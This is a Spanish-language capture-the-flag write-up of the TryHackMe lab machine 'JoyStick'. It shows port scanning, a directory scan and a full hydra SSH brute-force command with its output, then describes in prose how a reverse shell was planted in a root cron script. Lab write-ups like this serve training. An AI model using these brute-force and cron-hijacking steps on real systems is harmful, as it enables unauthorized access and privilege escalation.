JoyStick es una maquina de TryHackMe, realizamos un ataque de fuerza bruta en el servicio SSH para obtener acceso. Un CronJob nos permitio obtener acceso privilegiado.
Room
Recon
nmap
Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21), http (80) y el puerto ssh (22) abiertos.
1# Nmap 7.80 scan initiated Fri Jul 17 00:47:51 2020 as: nmap -sV -o nmap_scan_mini joystick.thm
2Nmap scan report for joystick.thm (10.10.184.33)
3Host is up (0.19s latency).
4Not shown: 997 closed ports
5PORT STATE SERVICE VERSION
621/tcp open ftp vsftpd 3.0.3
722/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
880/tcp open http Apache httpd 2.4.18 ((Ubuntu))
9Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
10
11Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
12# Nmap done at Fri Jul 17 00:48:28 2020 -- 1 IP address (1 host up) scanned in 37.10 secondsFTP
Intentamos ingresar con credenciales de anonymous en el servicio de FTP pero nos muestra un mensaje de error.
1root@upset:~/thm/joystick# ftp joystick.thm
2Connected to joystick.thm.
3220 (vsFTPd 3.0.3)
4Name (joystick.thm:root): anonymous
5500 OOPS: vsftpd: refusing to run with writable root inside chroot()
6Login failed.
7ftp> exit
8421 Service not available, remote server has closed connectionWeb Site
Encontramos una pagina web en el puerto 80, en el codigo fuente encontramos un mensaje que menciona el usuario steve.

Gobuster
Utilizamos gobuster para busqueda de directorios y archivos.
1root@upset:~/thm/joystick# gobuster dir -u http://joystick.thm/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -q -t 25 -x php,html,txt
2/index.html (Status: 200)User - Steve
Utilizamos hydra para hacer un ataque de fuerza bruta en el servicio ssh con el usuario steve y el wordlist rockyou.txt.
1root@upset:~/thm/joystick# hydra -l steve -P /usr/share/wordlists/rockyou.txt ssh://joystick.thm -t 64
2Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
3
4Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-07-17 01:12:12
5[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
6[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
7[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
8[DATA] attacking ssh://joystick.thm:22/
9[STATUS] 233.00 tries/min, 233 tries in 00:01h, 14344194 to do in 1026:04h, 64 active
10[STATUS] 215.00 tries/min, 645 tries in 00:03h, 14343800 to do in 1111:56h, 64 active
11[STATUS] 210.29 tries/min, 1472 tries in 00:07h, 14342999 to do in 1136:48h, 64 active
12[STATUS] 207.53 tries/min, 3113 tries in 00:15h, 14341391 to do in 1151:45h, 64 active
13[STATUS] 343.68 tries/min, 10654 tries in 00:31h, 14333874 to do in 695:08h, 64 active
14[22][ssh] host: joystick.thm login: steve password: [... snip ...]
15^CIngresamos por SSH, obtenemos una shell y nuestra flag user.txt

Privesc
Utilizamos pspy64 para ver los cronjobs que se encuentran en la maquina, encontramos que se ejecuta el archivo /opt/minecraft/backup.sh.

Agregamos una shell inversa al archivo y ponemos a la escucha netcat en nuestra maquina.

Obtenemos una shell con el usuario root.

Encontramos la flag root.txt en /home/notch.

